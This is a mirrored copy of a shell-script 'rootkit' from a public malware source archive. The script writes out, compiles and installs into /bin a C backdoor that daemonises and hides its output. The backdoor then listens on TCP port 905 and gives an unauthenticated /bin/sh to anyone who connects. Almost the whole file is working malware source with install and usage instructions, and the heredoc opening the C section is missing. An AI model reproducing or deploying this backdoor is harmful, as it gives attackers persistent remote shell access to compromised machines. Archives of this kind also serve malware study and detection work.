mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
74 lines
2.0 KiB
Brainfuck
74 lines
2.0 KiB
Brainfuck
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#!/bin/sh
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# Fearless Rootkit D-Type v0.1
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# Coded by Merlion
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# Website: http://areyoufearless.com
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# chmod 755 rootd.sh
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# ./rootd.sh
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# telnet to port 905 & run commands. End each command with a semicolon (;)
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#include <stdio.h>
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#include <string.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <unistd.h>
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void die(char *error);
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main(int argc, char **argv) {
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pid_t pid, sid;
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int len, clipid, serpid, stat, sock, soklen, sockbind, sockrec, sockopt, sockcli, socklen;
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unsigned short int mcon;
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unsigned short int port;
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char *rbuf, *rmode;
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struct sockaddr_in Client, Server;
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if ((sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) die("Error creating socket");
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if (argc != 3) die("Usage");
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memset(&Server, 0, sizeof(Server));
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Server.sin_family=AF_INET;
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port=905;
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mcon=5;
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Server.sin_port=htons(port);
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Server.sin_addr.s_addr=htonl(INADDR_ANY);
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if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *) &sockopt, sizeof(sockopt)) < 0)
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die("No socket options set");
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if (sockbind=bind(sock, (struct sockaddr *) &Server, sizeof(Server)) != 0)
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die("Could not bind socket");
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if ((sockbind=listen(sock, mcon)) != 0) die("Failed on listen()");
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pid=fork();
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if (pid < 0) die("Initial fork() failed");
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if (pid>0) exit(0);
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if ((chdir("/")) < 0) die("Could not set working directory");
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if ((setsid()) < 0) die("setsid() failed in creating daemon");
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umask(0);
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close(STDIN_FILENO);
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close(STDOUT_FILENO);
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close(STDERR_FILENO);
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/* You're on your own, pal.. */
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while(1) {
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socklen=sizeof(Client);
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if ((sockcli=accept(sock, (struct sockaddr *) &Client, &socklen)) < 0) exit(1); /* syslog msg here still */
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clipid=getpid();
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serpid=fork();
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if (serpid > 0)
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waitpid(0, &stat, 0);
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dup2(sockcli, 1);
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execl("/bin/sh","sh",(char *)0); }
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close(sockcli); }
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void die(char *error) {
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fprintf(stderr, "%s\n", error);
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exit(1); }
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EOF
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gcc -o /bin/rootd /tmp/rootd.c
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rm -f /tmp/rootd.c
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rootd $port $max
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echo "Rootkit installed at port 905"
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exit 0
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